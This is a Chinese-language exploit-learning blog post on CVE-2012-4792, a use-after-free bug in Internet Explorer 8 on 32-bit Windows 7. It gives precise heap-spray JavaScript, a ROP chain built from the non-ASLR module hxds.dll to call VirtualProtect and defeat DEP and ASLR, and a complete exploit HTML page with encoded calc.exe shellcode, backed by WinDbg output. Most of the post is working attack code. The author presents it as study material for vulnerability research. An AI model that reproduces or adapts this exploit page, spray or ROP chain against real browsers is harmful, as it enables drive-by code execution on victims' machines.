CVE-2012-4792 漏洞利用學習筆記

前面一篇學習了下怎麼用ClassName或者title來進行佔位,現在學習下如何利用該漏洞

對於UAF漏洞的利用,最簡單的就是通過Heap Spary來實現了,國外的大神也提出了一種不用Heap Spary,直接構造一個對象來利用的方法

現在學習一下這兩種方法,漏洞利用環境爲win7 32位+ie8,我們需要解決的問題有:

1.如果精確進行Heap Spary

2.如何bypass DEP

3.解決ALSR

接下來一個個解決這3個問題:

一、如何精確進行Heap Spary

有關這個問題,泉哥翻譯的Exploit編寫系列教程有詳細的說明,可以參考下。

這裏首先說明爲什麼要進行精確的Heap Spary

由於在xp sp3之後,ie8默認就開啓了DEP,這樣使得直接進行Heap Spary噴射的內存將不具有可執行的屬性,一旦EIP跳到我們噴射的內存上將因爲不可執行屬性而觸發異常:

0:012> g
(cbc.258): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=001fbc98 ecx=00000052 edx=00000000 esi=00000000 edi=00201430
eip=90909090 esp=0230d600 ebp=0230d65c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
90909090 ??              ???
0:005> !address 0c0c0c0c
Failed to map Heaps (error 80004005)
Usage:                  <unclassified>
Allocation Base:        0c090000
Base Address:           0c090000
End Address:            0c111000
Region Size:            00081000
Type:                   00020000    MEM_PRIVATE
State:                  00001000    MEM_COMMIT
Protect:                00000004    PAGE_READWRITE

因此我們需要構造一個ROP鏈來將這塊內存賦予可執行的屬性後再回到這裏的內存執行,那麼我們就需要確保我們能夠精確的知道我們shellcode的具體位置,因爲在構造ROP鏈時我們需要用

噴射的shellcode來控制ROP鏈中函數的參數等問題,其實是相當於將分配的堆作爲新的棧使用(這裏需要通過stackpivot技術實現,即指令xchg,如xchg eax,esp將棧指向eax指向的內存空間)

<!doctype html>
<html>
<head>
<script>
    var arr_div = new Array();
    var junk=unescape("%u0c0c%u0c0c");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
    var nops=unescape("%u9090%u9090");
    while(nops.length<0x1000) nops+=nops;
    var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or shellcode
    var shellcode=nops.substring(0,0x800-code.length)+code;//堆內存0x1000字節對齊,由於unescape函數的關係,要分配0x1000字節的堆空間實際需要0x800個%u4141
    while(shellcode.length<0x40000)
    {
        shellcode+=shellcode;
    }
    var block = shellcode.substring(0,0x40000);
    var heap_chunks = new Array();
    for (var i=1; i < 500; i++) 
        heap_chunks[i] = block.substring(0,0x40000);
    function helloWorld() 
    {
          var e0 = null;
          var e1 = null;
          var e2 = null;

          try 
          {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement('button'));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement('body'));
          } catch(e) { }
          CollectGarbage();
           for(var i = 0; i<0x50; i++)
          {
               arr_div[i]= document.createElement("div");
               arr_div[i].title= junk.substring(0,(0x58-6)/2);
          }
     }

     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>

用這段代碼完成噴射後的堆空間如下:

0:012> g
(948.c08): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=000e7f98 ecx=00000052 edx=00000000 esi=00000000 edi=00106270
eip=90909090 esp=0230cfa8 ebp=0230d004 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
90909090 ??              ???
0:005> !heap -p -a eax
    address 0c0c0c0c found in
    _HEAP @ 60000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c0c0018 10002 0000  [00]   0c0c0020    80010 - (busy VirtualAlloc)

0c0c0c0c所在堆塊的UserPtr爲0c0c0020:

0:005> dd 0c0c0020
0c0c0020  00080000 90909090 90909090 90909090
0c0c0030  90909090 90909090 90909090 90909090
0c0c0040  90909090 90909090 90909090 90909090
0c0c0050  90909090 90909090 90909090 90909090
0c0c0060  90909090 90909090 90909090 90909090
0c0c0070  90909090 90909090 90909090 90909090
0c0c0080  90909090 90909090 90909090 90909090
0c0c0090  90909090 90909090 90909090 90909090

0:005> dd 0c0c0020+0x1000
0c0c1020  41414141 90909090 90909090 90909090
0c0c1030  90909090 90909090 90909090 90909090
0c0c1040  90909090 90909090 90909090 90909090
0c0c1050  90909090 90909090 90909090 90909090
0c0c1060  90909090 90909090 90909090 90909090
0c0c1070  90909090 90909090 90909090 90909090
0c0c1080  90909090 90909090 90909090 90909090
0c0c1090  90909090 90909090 90909090 90909090

可見我們噴射的數據是從0c0c0020+4的位置開始的,此時的內存佈局如下:

觀察以下噴射的內存塊:

0:005> !heap -flt s 0x80010
    _HEAP @ 60000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        02bd0018 10002 0000  [00]   02bd0020    80010 - (busy VirtualAlloc)
        02c60018 10002 0002  [00]   02c60020    80010 - (busy VirtualAlloc)
        02ff0018 10002 0002  [00]   02ff0020    80010 - (busy VirtualAlloc)
        03280018 10002 0002  [00]   03280020    80010 - (busy VirtualAlloc)
        03310018 10002 0002  [00]   03310020    80010 - (busy VirtualAlloc)
        03d10018 10002 0002  [00]   03d10020    80010 - (busy VirtualAlloc)
        04050018 10002 0002  [00]   04050020    80010 - (busy VirtualAlloc)
        043e0018 10002 0002  [00]   043e0020    80010 - (busy VirtualAlloc)
        04470018 10002 0002  [00]   04470020    80010 - (busy VirtualAlloc)
        04500018 10002 0002  [00]   04500020    80010 - (busy VirtualAlloc)

通過以上數據可以看出每個內存塊都以0018結尾,這樣我們每次分配的數據相對每個塊的UserPtr是固定的,因此我們可以計算出nops與堆塊的距離然後構造數據:

offset=(0x0c0c0c0c-0x0c0c0024)=0xBE8/2=0x5F4

除以2還是因爲unscape計算的長度實際是分配字節的一半。

<!doctype html>
<html>
<head>
<script>
    var arr_div = new Array();
    var junk=unescape("%u0c0c%u0c0c");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
    var nops=unescape("%u9090%u9090");
    while(nops.length<0x1000) nops+=nops;
    var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or shellcode
    var offset=0x5F4;
    var junk_offset=nops.substring(0,0x5F4);
    var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
    while(shellcode.length<0x40000)
    {
        shellcode+=shellcode;
    }
    var block = shellcode.substring(0,0x40000);
    var heap_chunks = new Array();
    for (var i=1; i < 500; i++) 
        heap_chunks[i] = block.substring(0,0x40000);
    function helloWorld() 
    {
          var e0 = null;
          var e1 = null;
          var e2 = null;

          try 
          {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement('button'));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement('body'));
          } catch(e) { }
          CollectGarbage();
           for(var i = 0; i<0x50; i++)
          {
               arr_div[i]= document.createElement("div");
               arr_div[i].title= junk.substring(0,(0x58-6)/2);
          }
     }

     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>

這樣的話我們的堆佈局如下:

調試如下:

0:012> g
(c50.430): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=002c7de8 ecx=00000052 edx=00000000 esi=00000000 edi=002eaa98
eip=90909090 esp=024fd6b0 ebp=024fd70c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
90909090 ??              ???
0:005> dd 0c0c0c0c
0c0c0c0c  41414141 41414141 90909090 90909090
0c0c0c1c  90909090 90909090 90909090 90909090
0c0c0c2c  90909090 90909090 90909090 90909090
0c0c0c3c  90909090 90909090 90909090 90909090
0c0c0c4c  90909090 90909090 90909090 90909090
0c0c0c5c  90909090 90909090 90909090 90909090
0c0c0c6c  90909090 90909090 90909090 90909090
0c0c0c7c  90909090 90909090 90909090 90909090

已經實現了精確控制!

二.如何bypass DEP&ASLR

要繞過DEP需要構造ROP鏈,而構造ROP鏈就需要考慮ASLR,這裏我們採取的方法是用未開啓ASLR的模塊來繞過ASLR,該是模塊hxds.dll,是office2010的一個組建,通過一條js語句來加載該模塊:

location.href = 'ms-help://'

所以我們需要的就是在該模塊中構造ROP鏈並最終調用VirtualProtect。

搜索ROP的過程就不多說了 構造好的ROP鏈如下:

var stackpivot += "%ub30e%u51c3"; // 0x51c3b30e  # RETN  [hxds.dll] (align esp)

stackpivot += "%u198c%u51be"; // 0x51be198c  # POP EBX # RETN [hxds.dll] 
stackpivot += "%u4a41%u51be"; // 0x51be4a41  # XCHG EAX,ESP # RETN  [hxds.dll]

var ropchain =   

"%u34b4%u51bf" +   //   0x51bf34b4     # POP ESI # RETN [hxds.dll] 
"%u10b8%u51bd" +   //   0x51bd10b8     # ptr to &VirtualProtect() [IAT hxds.dll]
"%u2d97%u51bd" +   //   0x51bd2d97     # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] 
"%ucba0%u51bd" +   //   0x51bdcba0     # XCHG EAX,ESI # RETN 00 [hxds.dll] 
"%u79e2%u51c3" +   //   0x51c379e2     # POP EBP # RETN [hxds.dll] 
"%u9683%u51c5" +   //   0x51c59683     # & call esp [hxds.dll]
"%u6fbd%u51c5" +   //   0x51c56fbd     # POP EAX # RETN [hxds.dll] 
"%ufdfe%ua17f" +   //   0xa17ffdfe     # put delta into eax (-> put 0x00000201 into ebx)
"%u1e01%u51c1" +   //   0x51C11E01     # ADD EAX,5E800403 # RETN [hxds.dll] 
"%u92d8%u51c3" +   //   0x51C392D8     # XCHG EAX,EBX # RETN [hxds.dll]
"%ue67d%u51bf" +   //   0x51BFE67D     # XOR EAX,EAX # RETN [hxds.dll] 
"%u6fbd%u51c5" +   //   0x51c56fbd     # POP EAX # RETN [hxds.dll] 
"%ufc3d%ua17f" +   //   0xa17ffc3d     # put delta into eax (-> put 0x00000040 into edx)
"%u1e01%u51c1" +   //   0x51C11E01     # ADD EAX,5E800403 # RETN [hxds.dll] 
"%u592b%u51bf" +   //   0x51BF592B     # XCHG EAX,EDX # RETN [hxds.dll] 
"%ucf3e%u51be" +   //   0x51becf3e     # POP ECX # RETN [hxds.dll] 
"%ud150%u51c5" +   //   0x51c5d150     # &Writable location [hxds.dll]
"%uf563%u51be" +   //   0x51bef563     # POP EDI # RETN [hxds.dll] 
"%u7402%u51c0" +   //   0x51c07402     # RETN (ROP NOP) [hxds.dll]
"%u6fbd%u51c5" +   //   0x51c56fbd     # POP EAX # RETN [hxds.dll] 
"%u9090%u9090" +   //    0x90909090     # nop
"%ua8dc%u51bd";    //   0x51BDA8DC     # PUSHAD # POP ECX # RETN [hxds.dll]

最終的Exploit頁面代碼如下:

<!doctype html>
<html>
<head>
<script>
    var arr_div = new Array();
    var junk=unescape("%u0b30%u0c0c");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
    var nops=unescape("%u9090%u9090");
    while(nops.length<0x400) nops+=nops;
    while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3");
    nops+=unescape("%u198c%u51be");
    var code =unescape(
     "%u4a41%u51be%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+
     "%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+
     "%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+
     "%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+
     "%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+
     "%u9090%u9090%ua8dc%u51bd"+                                        //ROP結束
     "%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" +               //shellcode calc.exe
     "%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" +
     "%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" +
     "%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" +
     "%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" +
     "%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" +
     "%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" +
     "%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" +
     "%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" +
     "%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" +
     "%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" +
     "%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" +
     "%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" +
     "%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" +
     "%ua4b3%u7851%u431a%u1bd2%u4162");
    var offset=0x5F4;
    var junk_offset=nops.substring(0,0x5F4);
    var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
    while(shellcode.length<0x40000)
    {
        shellcode+=shellcode;
    }
    var block = shellcode.substring(0,0x40000);
    var heap_chunks = new Array();
    for (var i=1; i < 500; i++) 
        heap_chunks[i] = block.substring(0,0x40000);
    location.href = 'ms-help://';
    function helloWorld() 
    {
          var e0 = null;
          var e1 = null;
          var e2 = null;

          try 
          {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement('button'));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement('body'));
          } catch(e) { }
          CollectGarbage();
           for(var i = 0; i<0x50; i++)
          {
               arr_div[i]= document.createElement("div");
               arr_div[i].title= junk.substring(0,(0x58-6)/2);
          }
     }

     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>

需要注意的:

第一次控制EIP時的第一條指令是一條StackPivot指令,用來將ESP指向我們可控的內存,此時esp應該是指向0x0c0c0b30,因此這塊數據

也需要精確的控制,但這塊數據並不是ROP鏈,因此這裏通過填充一系列的RET指令使ESP不斷的增加直到到達ROP鏈的入口0x0c0c0c0c+0x4

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章